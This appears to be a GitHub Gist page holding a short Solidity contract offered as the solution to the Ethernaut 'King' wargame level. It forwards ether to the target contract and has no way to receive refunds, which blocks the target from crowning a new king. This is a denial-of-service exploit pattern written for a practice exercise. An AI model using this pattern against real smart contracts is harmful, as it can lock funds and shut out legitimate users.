Last active
December 27, 2022 14:52
-
-
Save Chirag21/19e6be5a5bb54a03f58dbb778c0e61b2 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 9 - King. For Remix IDE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract KingHack { | |
// pass instance address | |
function hack(address kingContract) external payable returns (bool) { | |
(bool success, ) = kingContract.call{value: msg.value}(""); | |
return success; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment